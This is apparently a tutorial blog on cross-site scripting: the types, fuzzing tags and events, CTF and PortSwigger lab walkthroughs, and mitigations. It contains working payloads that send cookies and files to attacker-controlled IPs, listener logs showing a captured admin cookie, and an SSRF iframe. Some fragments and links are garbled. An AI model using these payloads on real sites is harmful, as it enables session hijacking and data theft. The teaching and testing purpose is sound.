What is XSS?
A common client side vulnerability we often see is Cross Site Scripting (XSS), where we’re allowing the attacker to insert his malicious script on our webpages, targeting the users on those affected pages. These scripts are called in the victim’s browser that can then steal sensitive info like cookies, session tokens or even perform unauthorized action as the user performs. XSS attacks are brought about by failure to validate or sanitise user input, making this a devastating threat to web applications.
Types of XSS
There are several types of XSS, each with distinct behavior: Stored, Reflected, DOM based, and also a less well known variant which is Blind XSS.
Stored XSS
Persistent XSS (also known as stored XSS) is when the malicious payload is put on the server (usually a database) and delivered to the user when they access the bad page. It’s completely dangerous because every time the page is viewed the script runs, usually without the victim’s interaction.
Reflected XSS
When an attacker includes a malicious script inside a URL parameter and the parameter is reflected back to the user’s browser without being sanitized, that’s reflected XSS. The attack is social engineering and thus requires the attacker to trick the victim in clicking on crafted link to launch the attack.
DOM-based XSS
In a DOM based XSS, the malicious payload never reaches the server. The vulnerability, however, exists in the code the browser executes in JavaScript. Unsanitized user input is used to dynamically modify the Document Object Model (DOM) leading to XSS attack.
Blind XSS A special type of Stored XSS is blind XSS, where the attacker’s payload is stored on the server but only a visible result is shown to an internal user (for example, an admin) who later views the script. The attacker does not immediately realize that the output of execution, and they do this by using tools to notify them when the payload triggers. One of the forms of XSS is particularly useful for poses where admin panels or internal dashboards are not exposed to the attackers in the first instance.
Note that in all types of xss
the payload might be same, but everything differs on how payload gets processed.
- If the input is saved server-side, it’s Stored XSS.
- If it’s immediately reflected back from the server, it’s Reflected XSS.
- If the input is processed and executed within the browser’s DOM without server interaction, it’s DOM-based XSS.
- Blind XSS: The payload is triggered in a different application or context (like an admin panel) where the attacker doesn’t see the immediate result. It often requires waiting for a privileged user to interact with the injected payload.
Understanding Tags, Events, and Fuzzing Methodology in XSS Testing
Cross Site Scripting (XSS) vulnerabilities are present when a user input is not sanitized properly, giving the attacker a chance to inject malicious scripts on a web page. A good way for identifying these vulnerabilities is to learn how the structure of the HTML tags, how the events, and doing fuzzing with the point of injection.
Now the methodology is really simple, generally a pentester uses and tests for some html
tags on various http headers
and user input fields
to see if get’s reflected on the webpage.
Read that previous line couple of times till it sinks in and till we grasp the methodology. Now sometimes tags
might be black listed and to trigger payload we might even need to include events
along with tags to trigger some alert of javascript on the code. So we start with fuzzing for allowed tags
and events
on the webapp
or webpage
. This is a great way to start testing for xss
.
Now some of you might start thinking what if application blacklists any angular brackets, or filters brackets in that case we might need to encode angular brackets into something like html encoding
. Don’t worry in the upcoming sections we will see how we can test for xss
in great detail.
You might want to bookmark the following websites for future reference on evading web application defences to execute our java script.
- https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
Now in the third paragraph we mentioned about tags
and events
lets talk in detail about these topics.
What Are Tags and Events in XSS?
Tags:
The basic building blocks of web pages are called HTML tags. Structure and content of a webpage; they define what a webpage will contain — text, images, links, and so on. Tags are enclosed within angle brackets (< >
), for example:
<b>
: Makes text bold.
<script>
: Embeds JavaScript code.
<img>
: Displays an image.
Since in the context of XSS tags are important since injecting new tags into a page can change its structure and behavior. As such we can add the <script>
tag that will execute JavaScript code on another target page.
Events:
In HTML, events – also known as browser triggered or user interraction events – are events that a web page can respond to. Event attributes start with on
and are attached to HTML elements to trigger JavaScript functions, such as:
onclick
: Called when an element is clicked
onmouseover
: When mouse hovers over an element.
onload
: This runs on load and will be triggered when an image or page load finishes.
An XSS attack is commonly delivered via event handlers because it allows execution of JavaScript without new tags. For instance:
<img src="example.jpg" onerror="alert('XSS')">
Here, the onerror
event executes an alert when the image fails to load.
Methodology for Finding XSS by Fuzzing Tags and Events
You should approach XSS vulnerabilities when testing for it, and you should do so systematically: Fuzz different tags and event handlers to see how the application reacts to those. Here’s a step-by-step methodology:
Step 1: Basic Tags for Non Intrusive Testing
So first, check if the application can accept HTML tags without encoding them. If you want to check if your input is rendered as HTML then use something simple such as <b>
in your tag.
Example:
<b>This is a test for XSS</b>
If the text is bold on the web page, it is likely that the application is not encoding e.g. <
and >
special characters, and that is a good starting point. Use the [portswigger xss cheat sheet](https:fuzz for input (see //portswigger.net/web-security/cross-site-scripting/cheat-sheet
Step 2: Testing Common Event Handlers
Further on, you should try adding event handlers to already created HTML elements. For example:
<img error="alert('XSS')">
If an alert box appears, then the application is vulnerable to event based XSS attacks. Now we can use the same cheat sheet to fuzz events.
Step 3: Using Fuzzing with Various Tags and Events and generate your own payload.
So use list of tags and events from resources like OWASP’s XSS filter evasion cheatsheet or PortSwigger’s XSS cheatsheet. Test different combinations of:
- Tags:
<script>
, (<img>
, (<iframe>)
, etc.
- Events: for example, onclick, onmouseover, onload, etc.
If you know something about javascript
then this is possible, if you create through the tags
and/or events
or basically, if you google for payloads or just use any of your favourite AI tool like chatgpt
, claude
, etc to create payloads with the tags
and events
the web application is consuming.
Step 4: Analyzing the Response
if you are just injecting a payload analyse how the application processes it and very important to make sure payload works as intended and check it is a stored xss
, or reflected xss
. Stored XSS means if, the XSS is persisting on the website each time you visit the same website a reason and reflected xss if it is not.
Reference:
DO NOT USE alert(1) for XSS
Finally it’s time to see the next XSS security mistake: alert(1)
is outdated and senseless without context. The payload may be sandboxed to only have enough impact into modern app. Instead, use functions like alert(document.domain)
, console.log(window.origin)
, or fetch('https:To understand the vulnerability’s scope it can be understood by replacing yourserver.com with //yourserver.com/?c=' + document.cookie
. DOM Based XSS tests for your script that can manipulate or extract sensitive data are through window.location, localStorage or document.body.innerHTML. It’s not about just triggering a popup, proving an XSS vulnerability requires showing the real security impact – stealing session cookies, getting on to the restricted domains, or modifying the page itself.
Source:
Some XSS
testing methodologies and payloads that I got to learn from CTFs
1. Stealing cookie with xss
I across this technique while doing a retired hackthebox called headless
, in which we steal the admin cookie, and to do this if we try and inject javascript code at any part of the input field, then it gets blacklisted, but if we inject xss via http headers
we are able to trigger xss.
We will be using the following payload to trigger xss payload
.Make sure to replace your IP in this script which you can find using ifconfig
command in linux.
<script>var i=new Image(); i.src="http://10.10.14.6/?c="+document.cookie;</script>
Now make sure before you send this payload to the web application your python local server is listening on your desired port so that we get the connection back.
python -m http.server 80
Now we get admin
user’s cookie which we can use to steal the session.
HTTP/1.1" 200 - 10.10.11.8 - - [11/Jul/2024 14:57:33] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
HTTP/1.1" 200 - 10.10.11.8 - - [11/Jul/2024 14:57:35] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -
2.Blind XSS or Using XSS to fetch files
Approach 1:
We can use python script created by Tyler Ramsbey
to fetch the file from remote website that is vulnerable to XSS
. You can get the python script from here
Now download and save this python script. Now use the following command to create an malicious script.js
which we will use against the webserver.
sudo python3 xss-extract.py -d /flag.txt -i 10.17.26.83:8000
Make sure that you are entering your tryhackme IP address, here I have used mine. Now before you send this payload directly you copy paste but we will make the server call back to us, that we can can see the server’s response. Note that unlike reflected XSS we won’t be able to see any response directly but if we set up python server or netcat listener we should be able to get response. So let’s do that.
sudo python3 -m http.server
Now use the following payload in the feedback section and check your python server if you have done everything correctly then you should get your /flag.txt
file from the website.
/home/mccleod/tools via via 🐍 v3.8.10 took 1m42s
❯ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.53.74 - - [14/Jan/2025 00:05:08] "GET /?c=THM{83789a69074f636f64a38879cfcabe8b62305ee6} HTTP/1.1" 200 -
10.10.53.74 - - [14/Jan/2025 00:05:08] "GET /?c=TypeError:%20Failed%20to%20fetch HTTP/1.1" 200 -
10.10.53.74 - - [14/Jan/2025 00:05:18] "GET /?c=THM{83789a69074f636f64a38879cfcabe8b62305ee6} HTTP/1.1" 200 -
10.10.53.74 - - [14/Jan/2025 00:05:19] "GET /?c=TypeError:%20Failed%20to%20fetch HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
Approach 2:
We can use img
tag payload to ex-filtrate or steal the file from the website
Payload:
<img src="x" onerror="fetch('http://127.0.0.1:8080/flag.txt').then(r => r.text()).then(r => fetch('http://10.17.123.199:8080/?c=' + r)).catch(e => fetch('http://10.17.123.199:8080/?c=' + e))"/>
Now make sure you are running your python server on the backend and you should get the flag.
Explanation:
- The payload first attempts to fetch the contents of
http://127.0.0.1:8080/flag.txt
, where the flag is likely stored.
- It then sends the contents (or any error) to the attacker’s server at
http://10.11.116.53:8080
, appending the response as a query parameter (?c=<response>
).
- This ensures that, if the
fetch
request is successful, the contents of the flag.txt
file will be exfiltrated to our server.
After submitting this payload, monitor your listener server for any incoming connections containing the flag.
Credits - Jay Batt
If you are more interested to set up your own server and want to test real world websites for blind xss then I highly recommend reading this blog by intigriti
3. XSS to SSRF
This is very simple and yet effective we can use iframe
by which we can embded another html document within a parent page. With this we can try and access internal website pages, and it works. A good friend of mine goodfella
made writeup in detail where we use this payload to solve and get the flag if you are interested in this room then check it out here.
Payload:
<iframe src="http://localhost:5000/admin"></iframe>
4. Dom XSS
Link to the lab- https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink
This lab shows a DOM based Cross-Site Scripting (DOM XSS) vulnerability on a web application that incorporates user input from the URL query parameter (location.search
) via the document.write
sink. An attacker can get the victim contain malicious payloads, running arbitrary Javascript inside the victim’s browser. In this lab, we successfully exploited the vulnerability using the payload:
"><svg onload=alert(1)>
What is DOM XSS?
DOM XSS occurs when JavaScript within the browser is used to parse and execute malicious user input which does not communicate with the server. DOM XSS is different from reflected or stored XSS; rather, DOM XSS is a result of client side manipulation of the DOM (Document Object Model). In particular, user controlled data flows from a source (e.g. window.location
, document.cookie
) to a sink (e.g. innerHTML
, document.write
), in a dangerous way.
To understand DOM-based XSS, it’s crucial to grasp a few core concepts:
Source: It is the origin of untrusted input in the client side code, window.location
,document.cookie
or localStorage
.
Sink: Where the execution of the javascript code occurs, and often if the input is not sanitised it could lead to XSS. Some of the vulnerable JS functions are innerHTML
, eval()
, or document.write()
.
DOM: Programmer interface to HTML and XML documents. It is the structure of a web page that script can use to update the content and structure live.
Key Features of DOM XSS:
Client-Side Execution: The browser does all of the payload processing.
No Server-Side Reflection: The server doesn’t send the malicious input in its response.
Sources and Sinks: Unsafe sources (user controlled inputs) and sinks (functions or methods which modify DOM) cause vulnerabilities.
Approach 1: Manual Method
Identifying Source and Sink
Source
The source in this lab is location.search
, which represents the query string from the URL.
var query = (new URLSearchParams(window.location.search)).get('search');
This code snippet gets direct user input from the search
parameter in the URL query string.
Sink
The sink in our lab is document.write
, which writes HTML directly to the DOM. This sink is used in the following function:
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms=' + query + '">');
}
The unsanitized user input (query
) is concatenated into the HTML and written into the DOM, creating a vulnerable injection point.
Steps to Identify and Exploit DOM XSS
We can identify Dom XSS
by reading the client side code of the web app, or by visting chrome or browser dev tools. One the first glances we get a look at javascript code.
1. Identify the Source:
- Use browser developer tools to inspect the JavaScript code.
- Look for user-controlled inputs like
window.location
, document.cookie
, or localStorage
.
2. Trace the Data Flow:
- Follow how data moves from the source to the sink.
- Tools like Chrome DevTools’ “Sources” tab or Burp Suite can help trace the execution flow.
3. Find the Sink:
- Look for functions like
document.write
, innerHTML
, eval
, or setTimeout
.
- Verify if user input is concatenated or directly injected into these methods.
4. Craft a Payload:
- Use a payload specific to the context (e.g., breaking out of quotes or tags).
- Test with harmless payloads like
<svg onload=alert(1)>
to confirm the vulnerability.
Feel free to explore many other labs on reflected, stored, and DOM XSS
on portswigger.
Exploiting DOM XSS
To exploit this vulnerability, our goal is to inject malicious content into the query
parameter and have it executed by the document.write
sink.
Injection Context: Analyze where the input is injected into the DOM. Here, it is injected into the src
attribute of an image tag (<img>
).
Breaking the Context: Use a payload that escapes the current HTML attribute and introduces new malicious content. For this lab, the working payload is:
?search="><svg onload=alert(1)>
">
: Breaks out of the src
attribute and closes the <img>
tag.
<svg onload=alert(1)>
: Injects a new <svg>
tag with an onload
event that executes JavaScript.
Full Exploit URL:
http://example.com/?search="><svg onload=alert(1)>
When this payload is processed, the resulting DOM contains the injected <svg>
tag, which executes the JavaScript, triggering the alert(1)
.
Approach 2: Using DOM INVADER
DOM Invader is an chromium browser plugin developed my portswigger
to find xss
vulnerability inside a DOM
of an web application.
Setting Up DOM Invader
- Enable DOM Invader in Burp Suite: Go to the “Extensions” tab in Burp Suite, and ensure that DOM Invader is enabled..
- Activate DOM Invader: In the browser, you’ll see a DOM Invader widget on supported pages. In your case you might not need to turn on
postmessage interception
Now access the lad, and right click and click inspect
and click on the DOM INVADER
section on that you will get an value to check, make sure first you copy the qeury and paste it onto the search.
Now as soon as you paste then you will an pop-up form DOM INVADER
saying it found an exploit and if we click exploit it will open new tab which solves the lab for us.
Now we have exploited DOM XSS
using DOM INVADER
and we have solved the lab.
XSS Mitigation
Image Credits - Integriti
Cross Site Scripting (XSS) vulnerabilities arise when untrusted user input is displayed by the browser in the browser and fired malicious code. There are three common types: The second type of XSS involves input reflecting back from the server immediately (reflected XSS), user input stored and later displayed to other users (stored XSS), and the third type of XSS wherein no server interaction is required and the input executes entirely within the browser DOM (DOM-based XSS).
Mitigating XSS involves a combination of secure coding practices and browser-level defenses:
- 1. Sanitization: All user data is sanitized to prevent malicious code execution, and then filtered and encoded.
- 2. HTTPOnly Cookies: To reduce the chance of theft via XSS, mark your cookies as HTTPOnly.
- 3. CSP (Content Security Policy): CSP is used to constrain on which scripts the browser is able to run (thus redirecting XSS attack vectors).
- 4. Security Headers: Browsers won’t be able to execute untrusted code if you set set headers such as X-XSS-Protection and Content-Type Options.
Obviously now if you are writing the pentest report you can’t possibly brush it on the surface and move on, now you need to deep dive into the technical part and provide technical remediation. In such situations knowing a BIT of javascript can be a lot helpful and as always you can refer to owasp mitigation XSS cheat sheet)
A note to remember
Finally always remember XSS without having an strong impact is just another feature not a bug!!! From developer point of view it might be just an web application feature where you performed some cool tricks like alert, unless you have very strong impact, your bug will not be classified into an bug. The struggle does not end here, if you can inject XSS into input field it’s just another self-xss
you must be able to deliver it to client via something like URL
which you can use some javascript to chain it from self xss
to something more meaningful and impactful. Do the learning does not stop here and it takes a lot of struggle and pain to produce an high priority XSS bug.
Finally I leave you with some more blogs to understand and explore XSS
.
Some blog on XSS
to improve understanding:
Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html